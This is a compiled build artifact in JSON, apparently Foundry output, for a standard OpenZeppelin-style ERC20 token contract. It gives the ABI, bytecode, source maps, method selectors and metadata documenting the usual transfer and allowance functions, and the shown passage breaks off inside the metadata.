+{"abi":[{"type":"constructor","inputs":[{"name":"name_","type":"string","internalType":"string"},{"name":"symbol_","type":"string","internalType":"string"}],"stateMutability":"nonpayable"},{"type":"function","name":"allowance","inputs":[{"name":"owner","type":"address","internalType":"address"},{"name":"spender","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"approve","inputs":[{"name":"spender","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"balanceOf","inputs":[{"name":"account","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"decimals","inputs":[],"outputs":[{"name":"","type":"uint8","internalType":"uint8"}],"stateMutability":"view"},{"type":"function","name":"decreaseAllowance","inputs":[{"name":"spender","type":"address","internalType":"address"},{"name":"subtractedValue","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"increaseAllowance","inputs":[{"name":"spender","type":"address","internalType":"address"},{"name":"addedValue","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"name","inputs":[],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"symbol","inputs":[],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"totalSupply","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"transfer","inputs":[{"name":"to","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"transferFrom","inputs":[{"name":"from","type":"address","internalType":"address"},{"name":"to","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"event","name":"Approval","inputs":[{"name":"owner","type":"address","indexed":true,"internalType":"address"},{"name":"spender","type":"address","indexed":true,"internalType":"address"},{"name":"value","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"Transfer","inputs":[{"name":"from","type":"address","indexed":true,"internalType":"address"},{"name":"to","type":"address","indexed":true,"internalType":"address"},{"name":"value","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801562000010575f80fd5b5060405162000c3838038062000c3883398101604081905262000033916200011a565b60036200004183826200020a565b5060046200005082826200020a565b505050620002d6565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126200007d575f80fd5b81516001600160401b03808211156200009a576200009a62000059565b604051601f8301601f19908116603f01168101908282118183101715620000c557620000c562000059565b8160405283815260209250866020858801011115620000e2575f80fd5b5f91505b83821015620001055785820183015181830184015290820190620000e6565b5f602085830101528094505050505092915050565b5f80604083850312156200012c575f80fd5b82516001600160401b038082111562000143575f80fd5b62000151868387016200006d565b9350602085015191508082111562000167575f80fd5b5062000176858286016200006d565b9150509250929050565b600181811c908216806200019557607f821691505b602082108103620001b457634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200020557805f5260205f20601f840160051c81016020851015620001e15750805b601f840160051c820191505b8181101562000202575f8155600101620001ed565b50505b505050565b81516001600160401b0381111562000226576200022662000059565b6200023e8162000237845462000180565b84620001ba565b602080601f83116001811462000274575f84156200025c5750858301515b5f19600386901b1c1916600185901b178555620002ce565b5f85815260208120601f198616915b82811015620002a45788860151825594840194600190910190840162000283565b5085821015620002c257878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b61095480620002e45f395ff3fe608060405234801561000f575f80fd5b50600436106100c4575f3560e01c8063395093511161007d578063a457c2d711610058578063a457c2d714610180578063a9059cbb14610193578063dd62ed3e146101a6575f80fd5b8063395093511461013d57806370a082311461015057806395d89b4114610178575f80fd5b806318160ddd116100ad57806318160ddd1461010957806323b872dd1461011b578063313ce5671461012e575f80fd5b806306fdde03146100c8578063095ea7b3146100e6575b5f80fd5b6100d06101de565b6040516100dd91906107ae565b60405180910390f35b6100f96100f4366004610815565b61026e565b60405190151581526020016100dd565b6002545b6040519081526020016100dd565b6100f961012936600461083d565b610287565b604051601281526020016100dd565b6100f961014b366004610815565b6102aa565b61010d61015e366004610876565b6001600160a01b03165f9081526020819052604090205490565b6100d06102e8565b6100f961018e366004610815565b6102f7565b6100f96101a1366004610815565b6103a5565b61010d6101b4366004610896565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6060600380546101ed906108c7565b80601f0160208091040260200160405190810160405280929190818152602001828054610219906108c7565b80156102645780601f1061023b57610100808354040283529160200191610264565b820191905f5260205f20905b81548152906001019060200180831161024757829003601f168201915b5050505050905090565b5f3361027b8185856103b2565b60019150505b92915050565b5f33610294858285610509565b61029f858585610599565b506001949350505050565b335f8181526001602090815260408083206001600160a01b038716845290915281205490919061027b90829086906102e39087906108ff565b6103b2565b6060600480546101ed906108c7565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909190838110156103985760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61029f82868684036103b2565b5f3361027b818585610599565b6001600160a01b03831661042d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f7265737300000000000000000000000000000000000000000000000000000000606482015260840161038f565b6001600160a01b0382166104a95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f7373000000000000000000000000000000000000000000000000000000000000606482015260840161038f565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461059357818110156105865760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161038f565b61059384848484036103b2565b50505050565b6001600160a01b0383166106155760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f6472657373000000000000000000000000000000000000000000000000000000606482015260840161038f565b6001600160a01b0382166106915760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f6573730000000000000000000000000000000000000000000000000000000000606482015260840161038f565b6001600160a01b0383165f908152602081905260409020548181101561071f5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e63650000000000000000000000000000000000000000000000000000606482015260840161038f565b6001600160a01b038085165f908152602081905260408082208585039055918516815290812080548492906107559084906108ff565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107a191815260200190565b60405180910390a3610593565b5f602080835283518060208501525f5b818110156107da578581018301518582016040015282016107be565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610810575f80fd5b919050565b5f8060408385031215610826575f80fd5b61082f836107fa565b946020939093013593505050565b5f805f6060848603121561084f575f80fd5b610858846107fa565b9250610866602085016107fa565b9150604084013590509250925092565b5f60208284031215610886575f80fd5b61088f826107fa565b9392505050565b5f80604083850312156108a7575f80fd5b6108b0836107fa565b91506108be602084016107fa565b90509250929050565b600181811c908216806108db57607f821691505b6020821081036108f957634e487b7160e01b5f52602260045260245ffd5b50919050565b8082018082111561028157634e487b7160e01b5f52601160045260245ffdfea26469706673582212206c3e25d055e50471d31a267c5ab6b448aaab9a9a5128ede37124fc68de6e79f864736f6c63430008180033","sourceMap":"1403:11214:30:-:0;;;1978:113;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2044:5;:13;2052:5;2044;:13;:::i;:::-;-1:-1:-1;2067:7:30;:17;2077:7;2067;:17;:::i;:::-;;1978:113;;1403:11214;;14:127:155;75:10;70:3;66:20;63:1;56:31;106:4;103:1;96:15;130:4;127:1;120:15;146:844;200:5;253:3;246:4;238:6;234:17;230:27;220:55;;271:1;268;261:12;220:55;294:13;;-1:-1:-1;;;;;356:10:155;;;353:36;;;369:18;;:::i;:::-;444:2;438:9;412:2;498:13;;-1:-1:-1;;494:22:155;;;518:2;490:31;486:40;474:53;;;542:18;;;562:22;;;539:46;536:72;;;588:18;;:::i;:::-;628:10;624:2;617:22;663:2;655:6;648:18;685:4;675:14;;732:3;725:4;720:2;712:6;708:15;704:26;701:35;698:55;;;749:1;746;739:12;698:55;771:1;762:10;;781:133;795:2;792:1;789:9;781:133;;;883:14;;;879:23;;873:30;852:14;;;848:23;;841:63;806:10;;;;781:133;;;958:1;951:4;946:2;938:6;934:15;930:26;923:37;978:6;969:15;;;;;;146:844;;;;:::o;995:562::-;1094:6;1102;1155:2;1143:9;1134:7;1130:23;1126:32;1123:52;;;1171:1;1168;1161:12;1123:52;1198:16;;-1:-1:-1;;;;;1263:14:155;;;1260:34;;;1290:1;1287;1280:12;1260:34;1313:61;1366:7;1357:6;1346:9;1342:22;1313:61;:::i;:::-;1303:71;;1420:2;1409:9;1405:18;1399:25;1383:41;;1449:2;1439:8;1436:16;1433:36;;;1465:1;1462;1455:12;1433:36;;1488:63;1543:7;1532:8;1521:9;1517:24;1488:63;:::i;:::-;1478:73;;;995:562;;;;;:::o;1562:380::-;1641:1;1637:12;;;;1684;;;1705:61;;1759:4;1751:6;1747:17;1737:27;;1705:61;1812:2;1804:6;1801:14;1781:18;1778:38;1775:161;;1858:10;1853:3;1849:20;1846:1;1839:31;1893:4;1890:1;1883:15;1921:4;1918:1;1911:15;1775:161;;1562:380;;;:::o;2073:518::-;2175:2;2170:3;2167:11;2164:421;;;2211:5;2208:1;2201:16;2255:4;2252:1;2242:18;2325:2;2313:10;2309:19;2306:1;2302:27;2296:4;2292:38;2361:4;2349:10;2346:20;2343:47;;;-1:-1:-1;2384:4:155;2343:47;2439:2;2434:3;2430:12;2427:1;2423:20;2417:4;2413:31;2403:41;;2494:81;2512:2;2505:5;2502:13;2494:81;;;2571:1;2557:16;;2538:1;2527:13;2494:81;;;2498:3;;2164:421;2073:518;;;:::o;2767:1345::-;2887:10;;-1:-1:-1;;;;;2909:30:155;;2906:56;;;2942:18;;:::i;:::-;2971:97;3061:6;3021:38;3053:4;3047:11;3021:38;:::i;:::-;3015:4;2971:97;:::i;:::-;3123:4;;3180:2;3169:14;;3197:1;3192:663;;;;3899:1;3916:6;3913:89;;;-1:-1:-1;3968:19:155;;;3962:26;3913:89;-1:-1:-1;;2724:1:155;2720:11;;;2716:24;2712:29;2702:40;2748:1;2744:11;;;2699:57;4015:81;;3162:944;;3192:663;2020:1;2013:14;;;2057:4;2044:18;;-1:-1:-1;;3228:20:155;;;3346:236;3360:7;3357:1;3354:14;3346:236;;;3449:19;;;3443:26;3428:42;;3541:27;;;;3509:1;3497:14;;;;3376:19;;3346:236;;;3350:3;3610:6;3601:7;3598:19;3595:201;;;3671:19;;;3665:26;-1:-1:-1;;3754:1:155;3750:14;;;3766:3;3746:24;3742:37;3738:42;3723:58;3708:74;;3595:201;;;3842:1;3833:6;3830:1;3826:14;3822:22;3816:4;3809:36;3162:944;;;;;2767:1345;;:::o;:::-;1403:11214:30;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b50600436106100c4575f3560e01c8063395093511161007d578063a457c2d711610058578063a457c2d714610180578063a9059cbb14610193578063dd62ed3e146101a6575f80fd5b8063395093511461013d57806370a082311461015057806395d89b4114610178575f80fd5b806318160ddd116100ad57806318160ddd1461010957806323b872dd1461011b578063313ce5671461012e575f80fd5b806306fdde03146100c8578063095ea7b3146100e6575b5f80fd5b6100d06101de565b6040516100dd91906107ae565b60405180910390f35b6100f96100f4366004610815565b61026e565b60405190151581526020016100dd565b6002545b6040519081526020016100dd565b6100f961012936600461083d565b610287565b604051601281526020016100dd565b6100f961014b366004610815565b6102aa565b61010d61015e366004610876565b6001600160a01b03165f9081526020819052604090205490565b6100d06102e8565b6100f961018e366004610815565b6102f7565b6100f96101a1366004610815565b6103a5565b61010d6101b4366004610896565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6060600380546101ed906108c7565b80601f0160208091040260200160405190810160405280929190818152602001828054610219906108c7565b80156102645780601f1061023b57610100808354040283529160200191610264565b820191905f5260205f20905b81548152906001019060200180831161024757829003601f168201915b5050505050905090565b5f3361027b8185856103b2565b60019150505b92915050565b5f33610294858285610509565b61029f858585610599565b506001949350505050565b335f8181526001602090815260408083206001600160a01b038716845290915281205490919061027b90829086906102e39087906108ff565b6103b2565b6060600480546101ed906108c7565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909190838110156103985760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61029f82868684036103b2565b5f3361027b818585610599565b6001600160a01b03831661042d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f7265737300000000000000000000000000000000000000000000000000000000606482015260840161038f565b6001600160a01b0382166104a95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f7373000000000000000000000000000000000000000000000000000000000000606482015260840161038f565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461059357818110156105865760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161038f565b61059384848484036103b2565b50505050565b6001600160a01b0383166106155760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f6472657373000000000000000000000000000000000000000000000000000000606482015260840161038f565b6001600160a01b0382166106915760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f6573730000000000000000000000000000000000000000000000000000000000606482015260840161038f565b6001600160a01b0383165f908152602081905260409020548181101561071f5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e63650000000000000000000000000000000000000000000000000000606482015260840161038f565b6001600160a01b038085165f908152602081905260408082208585039055918516815290812080548492906107559084906108ff565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107a191815260200190565b60405180910390a3610593565b5f602080835283518060208501525f5b818110156107da578581018301518582016040015282016107be565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610810575f80fd5b919050565b5f8060408385031215610826575f80fd5b61082f836107fa565b946020939093013593505050565b5f805f6060848603121561084f575f80fd5b610858846107fa565b9250610866602085016107fa565b9150604084013590509250925092565b5f60208284031215610886575f80fd5b61088f826107fa565b9392505050565b5f80604083850312156108a7575f80fd5b6108b0836107fa565b91506108be602084016107fa565b90509250929050565b600181811c908216806108db57607f821691505b6020821081036108f957634e487b7160e01b5f52602260045260245ffd5b50919050565b8082018082111561028157634e487b7160e01b5f52601160045260245ffdfea26469706673582212206c3e25d055e50471d31a267c5ab6b448aaab9a9a5128ede37124fc68de6e79f864736f6c63430008180033","sourceMap":"1403:11214:30:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2156:98;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4433:197;;;;;;:::i;:::-;;:::i;:::-;;;1192:14:155;;1185:22;1167:41;;1155:2;1140:18;4433:197:30;1027:187:155;3244:106:30;3331:12;;3244:106;;;1365:25:155;;;1353:2;1338:18;3244:106:30;1219:177:155;5192:286:30;;;;;;:::i;:::-;;:::i;3093:91::-;;;3175:2;1876:36:155;;1864:2;1849:18;3093:91:30;1734:184:155;5873:234:30;;;;;;:::i;:::-;;:::i;3408:125::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3508:18:30;3482:7;3508:18;;;;;;;;;;;;3408:125;2367:102;;;:::i;6594:427::-;;;;;;:::i;:::-;;:::i;3729:189::-;;;;;;:::i;:::-;;:::i;3976:149::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4091:18:30;;;4065:7;4091:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3976:149;2156:98;2210:13;2242:5;2235:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2156:98;:::o;4433:197::-;4516:4;719:10:34;4570:32:30;719:10:34;4586:7:30;4595:6;4570:8;:32::i;:::-;4619:4;4612:11;;;4433:197;;;;;:::o;5192:286::-;5319:4;719:10:34;5375:38:30;5391:4;719:10:34;5406:6:30;5375:15;:38::i;:::-;5423:27;5433:4;5439:2;5443:6;5423:9;:27::i;:::-;-1:-1:-1;5467:4:30;;5192:286;-1:-1:-1;;;;5192:286:30:o;5873:234::-;719:10:34;5961:4:30;4091:18;;;:11;:18;;;;;;;;-1:-1:-1;;;;;4091:27:30;;;;;;;;;;5961:4;;719:10:34;6015:64:30;;719:10:34;;4091:27:30;;6040:38;;6068:10;;6040:38;:::i;:::-;6015:8;:64::i;2367:102::-;2423:13;2455:7;2448:14;;;;;:::i;6594:427::-;719:10:34;6687:4:30;4091:18;;;:11;:18;;;;;;;;-1:-1:-1;;;;;4091:27:30;;;;;;;;;;6687:4;;719:10:34;6831:15:30;6811:16;:35;;6803:85;;;;-1:-1:-1;;;6803:85:30;;3307:2:155;6803:85:30;;;3289:21:155;3346:2;3326:18;;;3319:30;3385:34;3365:18;;;3358:62;3456:7;3436:18;;;3429:35;3481:19;;6803:85:30;;;;;;;;;6922:60;6931:5;6938:7;6966:15;6947:16;:34;6922:8;:60::i;3729:189::-;3808:4;719:10:34;3862:28:30;719:10:34;3879:2:30;3883:6;3862:9;:28::i;10110:370::-;-1:-1:-1;;;;;10241:19:30;;10233:68;;;;-1:-1:-1;;;10233:68:30;;3713:2:155;10233:68:30;;;3695:21:155;3752:2;3732:18;;;3725:30;3791:34;3771:18;;;3764:62;3862:6;3842:18;;;3835:34;3886:19;;10233:68:30;3511:400:155;10233:68:30;-1:-1:-1;;;;;10319:21:30;;10311:68;;;;-1:-1:-1;;;10311:68:30;;4118:2:155;10311:68:30;;;4100:21:155;4157:2;4137:18;;;4130:30;4196:34;4176:18;;;4169:62;4267:4;4247:18;;;4240:32;4289:19;;10311:68:30;3916:398:155;10311:68:30;-1:-1:-1;;;;;10390:18:30;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10441:32;;1365:25:155;;;10441:32:30;;1338:18:155;10441:32:30;;;;;;;10110:370;;;:::o;10761:441::-;-1:-1:-1;;;;;4091:18:30;;;10891:24;4091:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;10957:37:30;;10953:243;;11038:6;11018:16;:26;;11010:68;;;;-1:-1:-1;;;11010:68:30;;4521:2:155;11010:68:30;;;4503:21:155;4560:2;4540:18;;;4533:30;4599:31;4579:18;;;4572:59;4648:18;;11010:68:30;4319:353:155;11010:68:30;11120:51;11129:5;11136:7;11164:6;11145:16;:25;11120:8;:51::i;:::-;10881:321;10761:441;;;:::o;7475:651::-;-1:-1:-1;;;;;7601:18:30;;7593:68;;;;-1:-1:-1;;;7593:68:30;;4879:2:155;7593:68:30;;;4861:21:155;4918:2;4898:18;;;4891:30;4957:34;4937:18;;;4930:62;5028:7;5008:18;;;5001:35;5053:19;;7593:68:30;4677:401:155;7593:68:30;-1:-1:-1;;;;;7679:16:30;;7671:64;;;;-1:-1:-1;;;7671:64:30;;5285:2:155;7671:64:30;;;5267:21:155;5324:2;5304:18;;;5297:30;5363:34;5343:18;;;5336:62;5434:5;5414:18;;;5407:33;5457:19;;7671:64:30;5083:399:155;7671:64:30;-1:-1:-1;;;;;7817:15:30;;7795:19;7817:15;;;;;;;;;;;7850:21;;;;7842:72;;;;-1:-1:-1;;;7842:72:30;;5689:2:155;7842:72:30;;;5671:21:155;5728:2;5708:18;;;5701:30;5767:34;5747:18;;;5740:62;5838:8;5818:18;;;5811:36;5864:19;;7842:72:30;5487:402:155;7842:72:30;-1:-1:-1;;;;;7948:15:30;;;:9;:15;;;;;;;;;;;7966:20;;;7948:38;;8006:13;;;;;;;;:23;;7980:6;;7948:9;8006:23;;7980:6;;8006:23;:::i;:::-;;;;;;;;8060:2;-1:-1:-1;;;;;8045:26:30;8054:4;-1:-1:-1;;;;;8045:26:30;;8064:6;8045:26;;;;1365:25:155;;1353:2;1338:18;;1219:177;8045:26:30;;;;;;;;8082:37;11786:121;14:548:155;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:196::-;635:20;;-1:-1:-1;;;;;684:54:155;;674:65;;664:93;;753:1;750;743:12;664:93;567:196;;;:::o;768:254::-;836:6;844;897:2;885:9;876:7;872:23;868:32;865:52;;;913:1;910;903:12;865:52;936:29;955:9;936:29;:::i;:::-;926:39;1012:2;997:18;;;;984:32;;-1:-1:-1;;;768:254:155:o;1401:328::-;1478:6;1486;1494;1547:2;1535:9;1526:7;1522:23;1518:32;1515:52;;;1563:1;1560;1553:12;1515:52;1586:29;1605:9;1586:29;:::i;:::-;1576:39;;1634:38;1668:2;1657:9;1653:18;1634:38;:::i;:::-;1624:48;;1719:2;1708:9;1704:18;1691:32;1681:42;;1401:328;;;;;:::o;1923:186::-;1982:6;2035:2;2023:9;2014:7;2010:23;2006:32;2003:52;;;2051:1;2048;2041:12;2003:52;2074:29;2093:9;2074:29;:::i;:::-;2064:39;1923:186;-1:-1:-1;;;1923:186:155:o;2114:260::-;2182:6;2190;2243:2;2231:9;2222:7;2218:23;2214:32;2211:52;;;2259:1;2256;2249:12;2211:52;2282:29;2301:9;2282:29;:::i;:::-;2272:39;;2330:38;2364:2;2353:9;2349:18;2330:38;:::i;:::-;2320:48;;2114:260;;;;;:::o;2379:437::-;2458:1;2454:12;;;;2501;;;2522:61;;2576:4;2568:6;2564:17;2554:27;;2522:61;2629:2;2621:6;2618:14;2598:18;2595:38;2592:218;;-1:-1:-1;;;2663:1:155;2656:88;2767:4;2764:1;2757:15;2795:4;2792:1;2785:15;2592:218;;2379:437;;;:::o;2821:279::-;2886:9;;;2907:10;;;2904:190;;;-1:-1:-1;;;2947:1:155;2940:88;3051:4;3048:1;3041:15;3079:4;3076:1;3069:15","linkReferences":{}},"methodIdentifiers":{"allowance(address,address)":"dd62ed3e","approve(address,uint256)":"095ea7b3","balanceOf(address)":"70a08231","decimals()":"313ce567","decreaseAllowance(address,uint256)":"a457c2d7","increaseAllowance(address,uint256)":"39509351","name()":"06fdde03","symbol()":"95d89b41","totalSupply()":"18160ddd","transfer(address,uint256)":"a9059cbb","transferFrom(address,address,uint256)":"23b872dd"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name_\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"symbol_\",\"type\":\"string\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Approval\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Transfer\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"}],\"name\":\"allowance\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"approve\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"balanceOf\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"decimals\",\"outputs\":[{\"internalType\":\"uint8\",\"name\":\"\",\"type\":\"uint8\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"subtractedValue\",\"type\":\"uint256\"}],\"name\":\"decreaseAllowance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"addedValue\",\"type\":\"uint256\"}],\"name\":\"increaseAllowance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"name\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"symbol\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"totalSupply\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transfer\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transferFrom\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"details\":\"Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How to implement supply mechanisms]. We have followed general OpenZeppelin Contracts guidelines: functions revert instead returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}.\",\"events\":{\"Approval(address,address,uint256)\":{\"details\":\"Emitted when the allowance of a `spender` for an `owner` is set by a call to {approve}. `value` is the new allowance.\"},\"Transfer(address,address,uint256)\":{\"details\":\"Emitted when `value` tokens are moved from one account (`from`) to another (`to`). Note that `value` may be zero.\"}},\"kind\":\"dev\",\"methods\":{\"allowance(address,address)\":{\"details\":\"See {IERC20-allowance}.\"},\"approve(address,uint256)\":{\"details\":\"See {IERC20-approve}. NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on `transferFrom`. This is semantically equivalent to an infinite approval. Requirements: - `spender` cannot be the zero address.\"},\"balanceOf(address)\":{\"details\":\"See {IERC20-balanceOf}.\"},\"constructor\":{\"details\":\"Sets the values for {name} and {symbol}. The default value of {decimals} is 18. To select a different value for {decimals} you should overload it. All two of these values are immutable: they can only be set once during construction.\"},\"decimals()\":{\"details\":\"Returns the number of decimals used to 